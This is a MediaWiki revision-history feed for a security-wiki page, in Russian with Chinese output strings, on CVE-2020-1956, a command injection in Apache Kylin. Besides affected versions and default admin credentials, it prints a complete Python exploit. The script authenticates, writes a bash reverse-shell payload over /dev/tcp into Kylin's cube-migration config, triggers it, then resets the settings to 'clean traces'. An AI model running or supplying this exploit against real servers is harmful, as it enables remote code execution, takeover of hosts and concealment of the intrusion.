<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-1956_Apache_Kylin_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%2Fru</id>
	<title>CVE-2020-1956 Apache Kylin 命令注入漏洞/ru - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-1956_Apache_Kylin_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%2Fru"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-1956_Apache_Kylin_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/ru&amp;action=history"/>
	<updated>2026-04-19T13:24:33Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-1956_Apache_Kylin_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/ru&amp;diff=5142&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;== Ссылка ==&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-1956_Apache_Kylin_%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/ru&amp;diff=5142&amp;oldid=prev"/>
		<updated>2021-06-16T01:59:54Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;== Ссылка ==&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages   /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Затронутая версия==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Apache Kylin 2.3.0 ~ 2.3.2&lt;br /&gt;
&lt;br /&gt;
Apache Kylin 2.4.0 ~ 2.4.1&lt;br /&gt;
&lt;br /&gt;
Apache Kylin 2.5.0 ~ 2.5.2&lt;br /&gt;
&lt;br /&gt;
Apache Kylin 2.6.0 ~ 2.6.5&lt;br /&gt;
&lt;br /&gt;
Apache Kylin 3.0.0-alpha, Apache Kylin 3.0.0-alpha2, Apache Kylin 3.0.0-beta, Apache Kylin 3.0.0, Kylin 3.0.1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
После открытия войдите в систему с учетной записью и паролем по умолчанию, и начальный интерфейс будет успешным.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
admin/KYLIN&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
#-*- coding:utf-8 -*-&lt;br /&gt;
# author : PeiQi&lt;br /&gt;
# from   : http://wiki.peiqi.tech&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
import base64&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def title():&lt;br /&gt;
    print('+------------------------------------------')&lt;br /&gt;
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')&lt;br /&gt;
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')&lt;br /&gt;
    print('+  \033[34m公众号 : PeiQi文库                                                     \033[0m')&lt;br /&gt;
    print('+  \033[34mVersion: Apache Kylin &amp;lt;= 3.0.1                                    \033[0m')&lt;br /&gt;
    print('+  \033[36m使用格式: python3 CVE-2020-1956                                    \033[0m')&lt;br /&gt;
    print('+  \033[36mUrl    &amp;gt;&amp;gt;&amp;gt; http://xxx.xxx.xxx.xxx:7070                            \033[0m')&lt;br /&gt;
    print('+  \033[36mLogin  &amp;gt;&amp;gt;&amp;gt; admin:KYLIN(格式为User:Pass)                            \033[0m')&lt;br /&gt;
    print('+------------------------------------------')&lt;br /&gt;
&lt;br /&gt;
def POC_1(target_url):&lt;br /&gt;
    login_url = target_url + &amp;quot;/kylin/api/user/authentication&amp;quot;&lt;br /&gt;
    user_pass = str(input(&amp;quot;\033[35mPlease input User and Pass\nLogin &amp;gt;&amp;gt;&amp;gt; \033[0m&amp;quot;))&lt;br /&gt;
&lt;br /&gt;
    Authorization = &amp;quot;Basic &amp;quot; + str((base64.b64encode(user_pass.encode('utf-8'))),'utf-8')&lt;br /&gt;
    headers = {&lt;br /&gt;
        &amp;quot;User-Agent&amp;quot;: &amp;quot;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36&amp;quot;,&lt;br /&gt;
        &amp;quot;Authorization&amp;quot;: Authorization,&lt;br /&gt;
        &amp;quot;Cookie&amp;quot;: &amp;quot;project=null&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
    try:&lt;br /&gt;
        response = requests.post(url=login_url, headers=headers, timeout=20)&lt;br /&gt;
        if &amp;quot;password&amp;quot; not in response.text:&lt;br /&gt;
            print(&amp;quot;\033[31m[x] 账号密码出现错误 \033[0m&amp;quot;)&lt;br /&gt;
            sys.exit(0)&lt;br /&gt;
        else:&lt;br /&gt;
            print(&amp;quot;\033[32m[o] 成功登录，获得JSESSIONID：&amp;quot; + response.cookies[&amp;quot;JSESSIONID&amp;quot;] + &amp;quot;\033[0m&amp;quot;)&lt;br /&gt;
            return response.cookies[&amp;quot;JSESSIONID&amp;quot;],Authorization&lt;br /&gt;
    except:&lt;br /&gt;
        print(&amp;quot;\033[31m[x] 漏洞利用失败\033[0m&amp;quot;)&lt;br /&gt;
        sys.exit(0)&lt;br /&gt;
&lt;br /&gt;
def POC_2(target_url, cookie, IP, PORT, Authorization):&lt;br /&gt;
    config_url = target_url + &amp;quot;/kylin/api/admin/config&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    key = [&amp;quot;kylin.tool.auto-migrate-cube.enabled&amp;quot;,&amp;quot;kylin.tool.auto-migrate-cube.src-config&amp;quot;,&amp;quot;kylin.tool.auto-migrate-cube.dest-config&amp;quot;]&lt;br /&gt;
    value = [&amp;quot;true&amp;quot;,&amp;quot;echo;bash -i &amp;gt;&amp;amp; /dev/tcp/{}/{} 0&amp;gt;&amp;amp;1;echo&amp;quot;.format(IP, PORT), &amp;quot;shell&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
    headers = {&lt;br /&gt;
        &amp;quot;User-Agent&amp;quot;: &amp;quot;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36&amp;quot;,&lt;br /&gt;
        &amp;quot;Authorization&amp;quot;: Authorization,&lt;br /&gt;
        &amp;quot;Accept&amp;quot;: &amp;quot;application/json, text/plain, */*&amp;quot;,&lt;br /&gt;
        &amp;quot;Content-Type&amp;quot;: &amp;quot;application/json;charset=UTF-8&amp;quot;,&lt;br /&gt;
        &amp;quot;Pragma&amp;quot;: &amp;quot;no-cache&amp;quot;,&lt;br /&gt;
        &amp;quot;Cookie&amp;quot;: &amp;quot;project=null;JSESSIONID=&amp;quot;+cookie&lt;br /&gt;
    }&lt;br /&gt;
    for i in range(0,3):&lt;br /&gt;
        data = &amp;quot;&amp;quot;&amp;quot;{&amp;quot;key&amp;quot;:&amp;quot;%s&amp;quot;,&amp;quot;value&amp;quot;:&amp;quot;%s&amp;quot;}&amp;quot;&amp;quot;&amp;quot; % (key[i], value[i])&lt;br /&gt;
        try:&lt;br /&gt;
            response = requests.put(url=config_url, headers=headers, data=data, timeout=20)&lt;br /&gt;
            if response.status_code == 200:&lt;br /&gt;
                print(&amp;quot;\033[32m[o] 成功将&amp;quot; + key[i] +&amp;quot;设置为&amp;quot; + value[i] +&amp;quot;\033[0m&amp;quot;)&lt;br /&gt;
            else:&lt;br /&gt;
                print(&amp;quot;\033[31m[x] 设置&amp;quot; + key[i] +&amp;quot;为&amp;quot; + value[i] +&amp;quot;失败\033[0m&amp;quot;)&lt;br /&gt;
                sys.exit(0)&lt;br /&gt;
        except:&lt;br /&gt;
            print(&amp;quot;\033[31m[x] 漏洞利用失败 \033[0m&amp;quot;)&lt;br /&gt;
            sys.exit(0)&lt;br /&gt;
&lt;br /&gt;
def POC_3(target_url, cookie):&lt;br /&gt;
    print(&amp;quot;\033[35m[o] 正在反弹shell......\033[0m&amp;quot;)&lt;br /&gt;
    vuln_url = target_url + &amp;quot;/kylin/api/cubes/kylin_sales_cube/learn_kylin/migrate&amp;quot;&lt;br /&gt;
    headers = {&lt;br /&gt;
        &amp;quot;User-Agent&amp;quot;: &amp;quot;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36&amp;quot;,&lt;br /&gt;
        &amp;quot;Cookie&amp;quot;: &amp;quot;project=null;JSESSIONID=&amp;quot; + cookie&lt;br /&gt;
    }&lt;br /&gt;
    try:&lt;br /&gt;
        response = requests.post(url=vuln_url, headers=headers)&lt;br /&gt;
        POC_4(target_url, cookie)&lt;br /&gt;
    except:&lt;br /&gt;
        print(&amp;quot;\033[31m[x] 漏洞利用失败 \033[0m&amp;quot;)&lt;br /&gt;
        sys.exit(0)&lt;br /&gt;
&lt;br /&gt;
def POC_4(target_url, cookie):&lt;br /&gt;
    config_url = target_url + &amp;quot;/kylin/api/admin/config&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    key = [&amp;quot;kylin.tool.auto-migrate-cube.enabled&amp;quot;, &amp;quot;kylin.tool.auto-migrate-cube.src-config&amp;quot;,&lt;br /&gt;
           &amp;quot;kylin.tool.auto-migrate-cube.dest-config&amp;quot;]&lt;br /&gt;
    value = [&amp;quot;flase&amp;quot;, &amp;quot;echo;echo;echo&amp;quot;, &amp;quot;None&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
    headers = {&lt;br /&gt;
        &amp;quot;User-Agent&amp;quot;: &amp;quot;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36&amp;quot;,&lt;br /&gt;
        &amp;quot;Authorization&amp;quot;: Authorization,&lt;br /&gt;
        &amp;quot;Accept&amp;quot;: &amp;quot;application/json, text/plain, */*&amp;quot;,&lt;br /&gt;
        &amp;quot;Content-Type&amp;quot;: &amp;quot;application/json;charset=UTF-8&amp;quot;,&lt;br /&gt;
        &amp;quot;Pragma&amp;quot;: &amp;quot;no-cache&amp;quot;,&lt;br /&gt;
        &amp;quot;Cookie&amp;quot;: &amp;quot;project=null;JSESSIONID=&amp;quot; + cookie&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    for i in range(0,3):&lt;br /&gt;
        data = &amp;quot;&amp;quot;&amp;quot;{&amp;quot;key&amp;quot;:&amp;quot;%s&amp;quot;,&amp;quot;value&amp;quot;:&amp;quot;%s&amp;quot;}&amp;quot;&amp;quot;&amp;quot; % (key[i], value[i])&lt;br /&gt;
        try:&lt;br /&gt;
            response = requests.put(url=config_url, headers=headers, data=data, timeout=20)&lt;br /&gt;
            if response.status_code == 200:&lt;br /&gt;
                print(&amp;quot;\033[32m[o] 成功将&amp;quot; + key[i] +&amp;quot;设置为&amp;quot; + value[i] +&amp;quot;\033[0m&amp;quot;)&lt;br /&gt;
            else:&lt;br /&gt;
                print(&amp;quot;\033[31m[x] 设置&amp;quot; + key[i] +&amp;quot;为&amp;quot; + value[i] +&amp;quot;失败\033[0m&amp;quot;)&lt;br /&gt;
                sys.exit(0)&lt;br /&gt;
        except:&lt;br /&gt;
            print(&amp;quot;\033[31m[x] 漏洞利用失败 \033[0m&amp;quot;)&lt;br /&gt;
            sys.exit(0)&lt;br /&gt;
    print(&amp;quot;\033[35m[o] 成功清理痕迹\033[0m&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    title()&lt;br /&gt;
    target_url = str(input(&amp;quot;\033[35mPlease input Attack Url\nUrl &amp;gt;&amp;gt;&amp;gt; \033[0m&amp;quot;))&lt;br /&gt;
    try:&lt;br /&gt;
        cookie,Authorization = POC_1(target_url)&lt;br /&gt;
    except:&lt;br /&gt;
        print(&amp;quot;\033[31m[x] 漏洞利用失败 \033[0m&amp;quot;)&lt;br /&gt;
        sys.exit(0)&lt;br /&gt;
    IP = str(input(&amp;quot;\033[35m请输入监听IP   &amp;gt;&amp;gt;&amp;gt; \033[0m&amp;quot;))&lt;br /&gt;
    PORT = str(input(&amp;quot;\033[35m请输入监听PORT &amp;gt;&amp;gt;&amp;gt; \033[0m&amp;quot;))&lt;br /&gt;
    POC_2(target_url, cookie, IP, PORT, Authorization)&lt;br /&gt;
    POC_3(target_url, cookie)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Ссылка ==&lt;br /&gt;
https://poc.wgpsec.org/PeiQi_Wiki/Web%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%BC%8F%E6%B4%9E/Apache/Apache%20Kylin/Apache%20Kylin%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2020-1956.html&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>